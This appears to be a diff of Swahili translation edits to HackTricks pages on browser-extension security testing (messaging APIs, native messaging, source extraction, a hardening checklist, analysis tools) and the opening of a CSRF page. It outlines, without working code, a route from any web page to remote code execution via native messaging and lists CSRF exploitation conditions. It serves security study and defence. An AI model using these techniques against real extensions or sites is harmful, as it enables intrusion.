Kawaida kazi **`chrome.runtime.sendMessage`** hutumiwa kutuma ujumbe ndani ya nyongeza (kawaida inashughulikiwa na skripti ya `background`) na ili kupokea na kushughulikia inatangazwa msikilizaji akitumia **`chrome.runtime.onMessage.addListener`**.
|
||||
Kawaida kazi **`chrome.runtime.sendMessage`** hutumiwa kutuma ujumbe ndani ya nyongeza (kawaida inashughulikiwa na script ya `background`) na ili kupokea na kushughulikia inatangazwa msikilizaji akitumia **`chrome.runtime.onMessage.addListener`**.
|
||||
|
||||
Pia inawezekana kutumia **`chrome.runtime.connect()`** kuwa na muunganisho endelevu badala ya kutuma ujumbe mmoja mmoja, inawezekana kuitumia **kutuma** na **kupokea** **ujumbe** kama katika mfano ufuatao:
|
||||
Pia inawezekana kutumia **`chrome.runtime.connect()`** kuwa na muunganisho wa kudumu badala ya kutuma ujumbe mmoja mmoja, inawezekana kuitumia **kutuma** na **kupokea** **ujumbe** kama katika mfano ufuatao:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -419,7 +419,7 @@ console.log("Content script received message from background script:", msg);
|
|||
```
|
||||
</details>
|
||||
|
||||
Pia inawezekana kutuma ujumbe kutoka kwa script ya nyuma hadi script ya maudhui iliyoko katika tab maalum kwa kuita **`chrome.tabs.sendMessage`** ambapo utahitaji kuonyesha **ID ya tab** ya kutuma ujumbe.
|
||||
Pia inawezekana kutuma ujumbe kutoka kwa script ya nyuma hadi script ya maudhui iliyoko katika tab maalum kwa kuita **`chrome.tabs.sendMessage`** ambapo utahitaji kuashiria **ID ya tab** ya kutuma ujumbe.
|
||||
|
||||
### Kutoka kwa `externally_connectable` inayoruhusiwa hadi nyongeza
|
||||
|
||||
|
@ -427,7 +427,7 @@ Pia inawezekana kutuma ujumbe kutoka kwa script ya nyuma hadi script ya maudhui
|
|||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
Mahali inahitajika kutaja **extension ID**.
|
||||
Mahali ambapo inahitajika kutaja **extension ID**.
|
||||
|
||||
### Native Messaging
|
||||
|
||||
|
@ -443,7 +443,7 @@ console.log('Received ' + response);
|
|||
```
|
||||
## Web **↔︎** Mawasiliano ya Skripti za Maudhui
|
||||
|
||||
Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya **isolation** hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji ushirikiane na **skripti ya maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti ya maudhui, inahitajika kutumia **DOM** ambayo inapatikana na pande zote kama njia ya mawasiliano.
|
||||
Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya **isolation** hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji uweze kushiriki katika mawasiliano na **skripti ya maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti ya maudhui, inahitajika kutumia **DOM** ambayo inapatikana na pande zote kama njia ya mawasiliano.
|
||||
|
||||
### Post Messages
|
||||
|
||||
|
@ -480,11 +480,11 @@ Mawasiliano salama ya Post Message inapaswa kuangalia uhalali wa ujumbe ulipokel
|
|||
|
||||
* **`event.isTrusted`**: Hii ni Kweli tu ikiwa tukio lilichochewa na kitendo cha mtumiaji
|
||||
* Skripti ya maudhui inaweza kutarajia ujumbe tu ikiwa mtumiaji atafanya kitendo fulani
|
||||
* **domain ya asili**: inaweza kutarajia ujumbe tu kutoka kwenye orodha ya domain zilizoidhinishwa.
|
||||
* **domain ya asili**: inaweza kutarajia ujumbe tu kutoka kwenye orodha ya domain zilizoruhusiwa.
|
||||
* Ikiwa regex inatumika, kuwa makini sana
|
||||
* **Chanzo**: `received_message.source !== window` inaweza kutumika kuangalia ikiwa ujumbe ulikuwa **kutoka kwenye dirisha lile lile** ambapo Skripti ya Maudhui inasikiliza.
|
||||
|
||||
Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **uwezekano wa Post Message bypasses**:
|
||||
Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **mipango ya Post Message**:
|
||||
|
||||
{% content-ref url="../postmessage-vulnerabilities/" %}
|
||||
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
|
||||
|
@ -532,7 +532,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
|
|||
console.log(response);
|
||||
})();
|
||||
```
|
||||
Katika **kipande cha kupokea**, unahitaji kuweka [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **mwanachama wa tukio** ili kushughulikia ujumbe. Hii inaonekana sawa kutoka kwa skripti ya maudhui au ukurasa wa nyongeza.
|
||||
Katika **kipokezi**, unahitaji kuanzisha [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **mwanachama wa tukio** kushughulikia ujumbe. Hii inaonekana sawa kutoka kwa skripti ya maudhui au ukurasa wa nyongeza.
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(
|
||||
|
@ -563,9 +563,9 @@ Nyongeza za kivinjari pia zinaruhusu kuwasiliana na **binaries katika mfumo kupi
|
|||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
Wakati `name` ni mfuatano unaopitishwa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna `type` moja tu halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard).
|
||||
Wakati `name` ni mfuatano wa herufi unaopitishwa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ili kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna `type` moja halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard).
|
||||
|
||||
Chrome/Chromium itatafuta json hii katika baadhi ya usajili wa madirisha na baadhi ya njia katika macOS na Linux (maelezo zaidi katika [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||
Chrome/Chromium itatafuta json hii katika baadhi ya usajili wa windows na baadhi ya njia katika macOS na Linux (maelezo zaidi katika [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
|
||||
|
||||
{% hint style="success" %}
|
||||
Nyongeza ya kivinjari pia inahitaji ruhusa ya `nativeMessaing` kutangazwa ili iweze kutumia mawasiliano haya.
|
||||
|
@ -583,28 +583,28 @@ console.log('Received ' + response);
|
|||
```
|
||||
Katika [**hiki kipande cha blogu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), mfano wa muundo dhaifu unaotumia ujumbe wa asili unapendekezwa:
|
||||
|
||||
1. Kiongezeo cha kivinjari kina muundo wa wildcard kwa skripti ya maudhui.
|
||||
1. Kiongezi cha kivinjari kina muundo wa wildcard kwa skripti ya maudhui.
|
||||
2. Skripti ya maudhui inapita ujumbe wa `postMessage` kwa skripti ya nyuma kwa kutumia `sendMessage`.
|
||||
3. Skripti ya nyuma inapita ujumbe kwa programu ya asili kwa kutumia `sendNativeMessage`.
|
||||
4. Programu ya asili inashughulikia ujumbe kwa njia hatari, ikisababisha utekelezaji wa msimbo.
|
||||
|
||||
Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiongezeo cha kivinjari unafafanuliwa**.
|
||||
Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiongezi cha kivinjari unafafanuliwa**.
|
||||
|
||||
## Taarifa Nyeti Katika Kumbukumbu/Msimbo/Clipboard
|
||||
|
||||
Ikiwa Kiongezeo cha Kivinjari kina **taarifa nyeti ndani ya kumbukumbu yake**, hii inaweza **kutolewa** (hasa katika mashine za Windows) na **kutafutwa** kwa taarifa hii.
|
||||
Ikiwa Kiongezi cha Kivinjari kina **taarifa nyeti ndani ya kumbukumbu yake**, hii inaweza **kutolewa** (hasa katika mashine za Windows) na **kutafutwa** kwa taarifa hii.
|
||||
|
||||
Kwa hivyo, kumbukumbu ya Kiongezeo cha Kivinjari **haipaswi kuzingatiwa kuwa salama** na **taarifa nyeti** kama vile akidi au maneno ya kumbukumbu **haipaswi kuhifadhiwa**.
|
||||
Kwa hivyo, kumbukumbu ya Kiongezi cha Kivinjari **haipaswi kuzingatiwa kuwa salama** na **taarifa nyeti** kama vile akidi au maneno ya kumbukumbu **hazipaswi kuhifadhiwa**.
|
||||
|
||||
Kwa hakika, usiweke **taarifa nyeti katika msimbo**, kwani itakuwa **ya umma**.
|
||||
Bila shaka, usiweke **taarifa nyeti katika msimbo**, kwani itakuwa **ya umma**.
|
||||
|
||||
Ili kutoa kumbukumbu kutoka kwa kivinjari unaweza **kutoa kumbukumbu ya mchakato** au kwenda kwenye **mipangilio** ya kiongezeo cha kivinjari bonyeza **`Inspect pop-up`** -> Katika sehemu ya **`Memory`** -> **`Take a snaphost`** na **`CTRL+F`** kutafuta ndani ya picha ya kumbukumbu kwa taarifa nyeti.
|
||||
Ili kutoa kumbukumbu kutoka kwa kivinjari unaweza **kutoa kumbukumbu ya mchakato** au kwenda kwenye **mipangilio** ya kiongezi cha kivinjari bonyeza **`Inspect pop-up`** -> Katika sehemu ya **`Memory`** -> **`Take a snaphost`** na **`CTRL+F`** kutafuta ndani ya picha ya kumbukumbu kwa taarifa nyeti.
|
||||
|
||||
Zaidi ya hayo, taarifa nyeti sana kama funguo za kumbukumbu au nywila **hazipaswi kuruhusiwa kunakiliwa kwenye clipboard** (au angalau kuondolewa kutoka kwenye clipboard ndani ya sekunde chache) kwa sababu basi michakato inayofuatilia clipboard itakuwa na uwezo wa kuzipata.
|
||||
Zaidi ya hayo, taarifa nyeti sana kama funguo za kumbukumbu au nywila **hazipaswi kuruhusiwa kunakiliwa kwenye clipboard** (au angalau iondolewe kutoka kwenye clipboard ndani ya sekunde chache) kwa sababu basi michakato inayofuatilia clipboard itakuwa na uwezo wa kuzipata.
|
||||
|
||||
## Kupakia Kiongezeo Katika Kivinjari
|
||||
## Kupakia Kiongezi Katika Kivinjari
|
||||
|
||||
1. **Pakua** Kiongezeo cha Kivinjari & uondoe zipu
|
||||
1. **Pakua** Kiongezi cha Kivinjari & uondoe zipu
|
||||
2. Nenda kwenye **`chrome://extensions/`** na **wezesha** `Developer Mode`
|
||||
3. Bonyeza kitufe cha **`Load unpacked`**
|
||||
|
||||
|
@ -612,13 +612,13 @@ Katika **Firefox** unakwenda kwenye **`about:debugging#/runtime/this-firefox`**
|
|||
|
||||
## Kupata msimbo wa chanzo kutoka dukani
|
||||
|
||||
Msimbo wa chanzo wa kiongezeo cha Chrome unaweza kupatikana kupitia njia mbalimbali. Hapa chini kuna maelezo ya kina na maagizo kwa kila chaguo.
|
||||
Msimbo wa chanzo wa kiongezi cha Chrome unaweza kupatikana kupitia njia mbalimbali. Hapa chini kuna maelezo ya kina na maagizo kwa kila chaguo.
|
||||
|
||||
### Pakua Kiongezeo kama ZIP kupitia Mstari wa Amri
|
||||
### Pakua Kiongezi kama ZIP kupitia Mstari wa Amri
|
||||
|
||||
Msimbo wa chanzo wa kiongezeo cha Chrome unaweza kupakuliwa kama faili ya ZIP kwa kutumia mstari wa amri. Hii inahusisha kutumia `curl` kupata faili ya ZIP kutoka URL maalum na kisha kutoa yaliyomo ya faili ya ZIP kwenye directory. Hapa kuna hatua:
|
||||
Msimbo wa chanzo wa kiongezi cha Chrome unaweza kupakuliwa kama faili ya ZIP kwa kutumia mstari wa amri. Hii inahusisha kutumia `curl` kupata faili ya ZIP kutoka URL maalum na kisha kutoa yaliyomo ya faili ya ZIP kwenye directory. Hapa kuna hatua:
|
||||
|
||||
1. Badilisha `"extension_id"` na ID halisi ya kiongezeo.
|
||||
1. Badilisha `"extension_id"` na ID halisi ya kiongezi.
|
||||
2. Tekeleza amri zifuatazo:
|
||||
```bash
|
||||
extension_id=your_extension_id # Replace with the actual extension ID
|
||||
|
@ -631,28 +631,28 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||
|
||||
### Tumia nyongeza ya CRX Viewer
|
||||
|
||||
Njia nyingine rahisi ni kutumia Chrome Extension Source Viewer, ambayo ni mradi wa chanzo wazi. Inaweza kupakuliwa kutoka [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Msimbo wa chanzo wa viewer upatikana katika [GitHub repository](https://github.com/Rob--W/crxviewer).
|
||||
Njia nyingine rahisi ni kutumia Chrome Extension Source Viewer, ambayo ni mradi wa chanzo wazi. Inaweza kupakuliwa kutoka [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Msimbo wa chanzo wa viewer unapatikana katika [GitHub repository](https://github.com/Rob--W/crxviewer).
|
||||
|
||||
### Angalia chanzo cha nyongeza iliyosakinishwa kwa ndani
|
||||
|
||||
Nyongeza za Chrome zilizowekwa kwa ndani pia zinaweza kukaguliwa. Hapa kuna jinsi:
|
||||
Nyongeza za Chrome zilizowekwa ndani pia zinaweza kukaguliwa. Hapa kuna jinsi:
|
||||
|
||||
1. Fikia saraka yako ya wasifu wa Chrome kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path".
|
||||
2. Tembea hadi ndogo ya `Extensions/` ndani ya saraka ya wasifu.
|
||||
3. Folda hii ina nyongeza zote zilizowekwa, kawaida zikiwa na msimbo wao wa chanzo katika muundo unaoweza kusomeka.
|
||||
2. Tembea hadi kwenye folda ndogo ya `Extensions/` ndani ya saraka ya wasifu.
|
||||
3. Folda hii ina nyongeza zote zilizowekwa, kwa kawaida zikiwa na msimbo wao wa chanzo katika muundo unaoweza kusomeka.
|
||||
|
||||
Ili kubaini nyongeza, unaweza kuoanisha IDs zao na majina:
|
||||
Ili kubaini nyongeza, unaweza kuoanisha vitambulisho vyao na majina:
|
||||
|
||||
* Wezesha Hali ya Mwandishi kwenye ukurasa wa `about:extensions` ili kuona IDs za kila nyongeza.
|
||||
* Washa Mode ya Developer kwenye ukurasa wa `about:extensions` ili kuona vitambulisho vya kila nyongeza.
|
||||
* Ndani ya folda ya kila nyongeza, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini nyongeza hiyo.
|
||||
|
||||
### Tumia Mchambuzi wa Faili au Unpacker
|
||||
### Tumia Mpakaji wa Faili au Unpacker
|
||||
|
||||
Nenda kwenye Chrome Web Store na upakue nyongeza. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` hadi `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP.
|
||||
Nenda kwenye Chrome Web Store na upakue nyongeza. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` hadi `.zip`. Tumia mpakaji wa faili yeyote (kama WinRAR, 7-Zip, nk.) kutoa yaliyomo ya faili ya ZIP.
|
||||
|
||||
### Tumia Hali ya Mwandishi katika Chrome
|
||||
### Tumia Mode ya Developer katika Chrome
|
||||
|
||||
Fungua Chrome na nenda kwenye `chrome://extensions/`. Wezesha "Hali ya Mwandishi" katika kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembea hadi saraka ya nyongeza yako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kuangalia na kubadilisha msimbo wa nyongeza ambayo tayari imeshapakwa au kuandaliwa.
|
||||
Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" katika kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembea hadi saraka ya nyongeza yako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kuangalia na kubadilisha msimbo wa nyongeza ambayo tayari imepakuliwa au kuandaliwa.
|
||||
|
||||
## Seti ya data ya manifest ya nyongeza ya Chrome
|
||||
|
||||
|
@ -669,21 +669,21 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||
|
||||
Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi yao wanaweza kuwa na **mapungufu** au **mabadiliko yanayoweza kuimarishwa**. Hizi hapa ni za kawaida zaidi:
|
||||
|
||||
* [ ] **Punguza** kadri iwezekanavyo **`permissions`** zilizohitajika
|
||||
* [ ] **Punguza** kadri iwezekanavyo **`permissions`** zinazohitajika
|
||||
* [ ] **Punguza** kadri iwezekanavyo **`host_permissions`**
|
||||
* [ ] Tumia **sera thabiti ya usalama wa maudhui** **`content_security_policy`**
|
||||
* [ ] Tumia **sera thabiti** ya **`content_security_policy`**
|
||||
* [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo-msingi, eleza **`{}`**
|
||||
* [ ] Ikiwa **URL inayoweza kuathiriwa na XSS au kuchukuliwa** imetajwa hapa, mshambuliaji ataweza **kutuma ujumbe kwa scripts za nyuma moja kwa moja**. Njia yenye nguvu sana ya kupita.
|
||||
* [ ] Ikiwa **URL inayoweza kuathiriwa na XSS au kuchukuliwa** imetajwa hapa, mshambuliaji ataweza **kutuma ujumbe kwa skripti za nyuma moja kwa moja**. Njia yenye nguvu sana ya kupita.
|
||||
* [ ] **Punguza** kadri iwezekanavyo **`web_accessible_resources`**, hata ikiwa ni tupu ikiwa inawezekana.
|
||||
* [ ] Ikiwa **`web_accessible_resources`** si hakuna, angalia [**ClickJacking**](browext-clickjacking.md)
|
||||
* [ ] Ikiwa mawasiliano yoyote yanatokea kutoka kwa **kiongezeo** hadi **ukurasa wa wavuti**, [**angalia XSS**](browext-xss-example.md) **mapungufu** yaliyosababishwa katika mawasiliano.
|
||||
* [ ] Ikiwa Ujumbe wa Post unatumiwa, angalia [**mapungufu ya Ujumbe wa Post**](../postmessage-vulnerabilities/)**.**
|
||||
* [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba **hazileti XSS** ikiwa zinapewa **mabadiliko** na wavuti
|
||||
* [ ] Fanya mkazo maalum ikiwa mawasiliano haya yanahusishwa pia katika **mawasiliano ya Content Script -> Background script**
|
||||
* [ ] Ikiwa script ya nyuma inawasiliana kupitia **ujumbe wa asili** angalia mawasiliano ni salama na yameondolewa
|
||||
* [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya msimbo wa Kiongezeo cha Kivinjari
|
||||
* [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya kumbukumbu ya Kiongezeo cha Kivinjari
|
||||
* [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **mfumo wa faili usiolindwa**
|
||||
* [ ] Ikiwa **Skripti ya Maudhui inapata maelezo ya DOM**, angalia kwamba hazifanyi **XSS** ikiwa zinapata **mabadiliko** na wavuti
|
||||
* [ ] Fanya mkazo maalum ikiwa mawasiliano haya yanahusishwa pia katika **mawasiliano ya Skripti ya Maudhui -> Skripti ya Nyuma**
|
||||
* [ ] Ikiwa skripti ya nyuma inawasiliana kupitia **ujumbe wa asili** angalia mawasiliano ni salama na yameondolewa
|
||||
* [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **msimbo wa Kiongezeo cha Kivinjari**
|
||||
* [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **kumbukumbu ya Kiongezeo cha Kivinjari**
|
||||
* [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **mfumo wa faili usio na ulinzi**
|
||||
|
||||
## Zana
|
||||
|
||||
|
@ -691,20 +691,20 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi
|
|||
|
||||
* Inavuta kiongezeo chochote cha Chrome kutoka kiungo kilichotolewa cha duka la wavuti la Chrome.
|
||||
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **mtazamaji**: inaonyesha toleo la JSON lililopambwa la hati ya kiongezeo.
|
||||
* **Uchambuzi wa Alama ya Kidole**: Ugunduzi wa [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) na uzalishaji wa moja kwa moja wa JavaScript ya alama ya kidole ya kiongezeo cha Chrome.
|
||||
* **Uchambuzi wa Uwezekano wa Clickjacking**: Ugunduzi wa kurasa za HTML za kiongezeo zenye mwelekeo wa [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) zilizowekwa. Hizi zinaweza kuwa na mapungufu ya clickjacking kulingana na kusudi la kurasa hizo.
|
||||
* **Analizi ya Alama**: Ugunduzi wa [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) na uzalishaji wa moja kwa moja wa JavaScript ya alama ya kiongezeo cha Chrome.
|
||||
* **Analizi ya Uwezekano wa Clickjacking**: Ugunduzi wa kurasa za HTML za kiongezeo zenye mwelekeo wa [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) zilizowekwa. Hizi zinaweza kuwa na mapungufu ya clickjacking kulingana na kusudi la kurasa hizo.
|
||||
* **Mtazamaji wa Onyo la Ruhusa**: unaonyesha orodha ya onyo zote za ruhusa za Chrome ambazo zitaonyeshwa wakati mtumiaji anajaribu kufunga kiongezeo.
|
||||
* **Kazi Hatari**: inaonyesha eneo la kazi hatari ambazo zinaweza kutumiwa na mshambuliaji (mfano: kazi kama innerHTML, chrome.tabs.executeScript).
|
||||
* **Nukta za Kuingia**: inaonyesha mahali kiongezeo kinapochukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo.
|
||||
* **Kazi Hatari**: inaonyesha eneo la kazi hatari ambazo zinaweza kutumiwa na mshambuliaji (mfano, kazi kama innerHTML, chrome.tabs.executeScript).
|
||||
* **Nukta za Kuingia**: inaonyesha ambapo kiongezeo kinachukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo.
|
||||
* Wote skana za Kazi Hatari na Nukta za Kuingia zina yafuatayo kwa arifa zao zilizozalishwa:
|
||||
* Kipande cha msimbo kinachohusiana na mstari ulioleta arifa.
|
||||
* Maelezo ya tatizo.
|
||||
* Kitufe cha "Tazama Faili" ili kuona faili kamili ya chanzo inayohusisha msimbo.
|
||||
* Njia ya faili iliyoonyeshwa.
|
||||
* URI kamili ya kiongezeo cha Chrome ya faili iliyoonyeshwa.
|
||||
* Aina ya faili ni, kama vile script ya Ukurasa wa Nyuma, Script ya Maudhui, Kitendo cha Kivinjari, nk.
|
||||
* Aina ya faili ni, kama vile skripti ya Ukurasa wa Nyuma, Skripti ya Maudhui, Kitendo cha Kivinjari, nk.
|
||||
* Ikiwa mstari unaoweza kuathiriwa uko katika faili ya JavaScript, njia za kurasa zote ambapo imejumuishwa pamoja na aina za kurasa hizi, na hali ya [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
|
||||
* **Mchambuzi wa Sera ya Usalama wa Maudhui (CSP) na mchakato wa kupita**: Hii itabainisha udhaifu katika CSP ya kiongezeo chako na pia itaonyesha njia zozote zinazoweza kupita CSP yako kutokana na CDNs zilizoorodheshwa, nk.
|
||||
* **Mchambuzi wa Sera ya Usalama wa Maudhui (CSP) na mfuatiliaji wa kupita**: Hii itabainisha udhaifu katika CSP ya kiongezeo chako na pia itaonyesha njia zozote zinazoweza kupita CSP yako kutokana na CDNs zilizoorodheshwa, nk.
|
||||
* **Maktaba Zinazojulikana za Kuweza Kuathiriwa**: Hii inatumia [Retire.js](https://retirejs.github.io/retire.js/) kuangalia matumizi ya maktaba za JavaScript zinazojulikana kuwa na mapungufu.
|
||||
* Pakua kiongezeo na toleo lililopangwa.
|
||||
* Pakua kiongezeo asilia.
|
||||
|
@ -714,7 +714,7 @@ Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi
|
|||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Mradi wa Neto ni kifurushi cha Python 3 kilichoundwa kuchambua na kufichua vipengele vilivyofichwa vya plugins na kiongezeo kwa vivinjari maarufu kama Firefox na Chrome. Inafanya mchakato wa kufungua faili zilizofungashwa ili kutoa vipengele hivi kutoka kwa rasilimali zinazohusiana katika kiongezeo kama `manifest.json`, folda za lugha au faili za chanzo za Javascript na HTML.
|
||||
Mradi wa Neto ni kifurushi cha Python 3 kilichoundwa kuchambua na kufichua vipengele vilivyofichwa vya nyongeza za kivinjari na kiongezeo kwa vivinjari maarufu kama Firefox na Chrome. Inafanya mchakato wa kufungua faili zilizofungashwa ili kutoa vipengele hivi kutoka kwa rasilimali zinazohusiana katika kiongezeo kama `manifest.json`, folda za lugha au faili za chanzo za Javascript na HTML.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
@ -739,7 +739,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.pn
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# CSRF (Cross Site Request Forgery)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -39,20 +39,20 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
Ili kutumia udhaifu wa CSRF, masharti kadhaa yanapaswa kutimizwa:
|
||||
|
||||
1. **Tafuta Kitendo Chenye Thamani**: Mshambuliaji anahitaji kupata kitendo kinachostahili kutumiwa, kama kubadilisha nenosiri la mtumiaji, barua pepe, au kuongeza mamlaka.
|
||||
2. **Usimamizi wa Kikao**: Kikao cha mtumiaji kinapaswa kusimamiwa pekee kupitia vidakuzi au kichwa cha HTTP Basic Authentication, kwani vichwa vingine haviwezi kubadilishwa kwa kusudi hili.
|
||||
2. **Usimamizi wa Kikao**: Kikao cha mtumiaji kinapaswa kusimamiwa pekee kupitia kuki au kichwa cha HTTP Basic Authentication, kwani vichwa vingine haviwezi kubadilishwa kwa kusudi hili.
|
||||
3. **Ukosefu wa Vigezo Visivyoweza Kutabirika**: Ombi halipaswi kuwa na vigezo visivyoweza kutabirika, kwani vinaweza kuzuia shambulio.
|
||||
|
||||
### Quick Check
|
||||
|
||||
You could **capture the request in Burp** and check CSRF protections and to test from the bowser you can click on **Copy as fetch** and check the request:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defending Against CSRF
|
||||
|
||||
Hatua kadhaa za kinga zinaweza kutekelezwa ili kulinda dhidi ya mashambulizi ya CSRF:
|
||||
Hatua kadhaa za kinga zinaweza kutekelezwa ili kulinda dhidi ya shambulio la CSRF:
|
||||
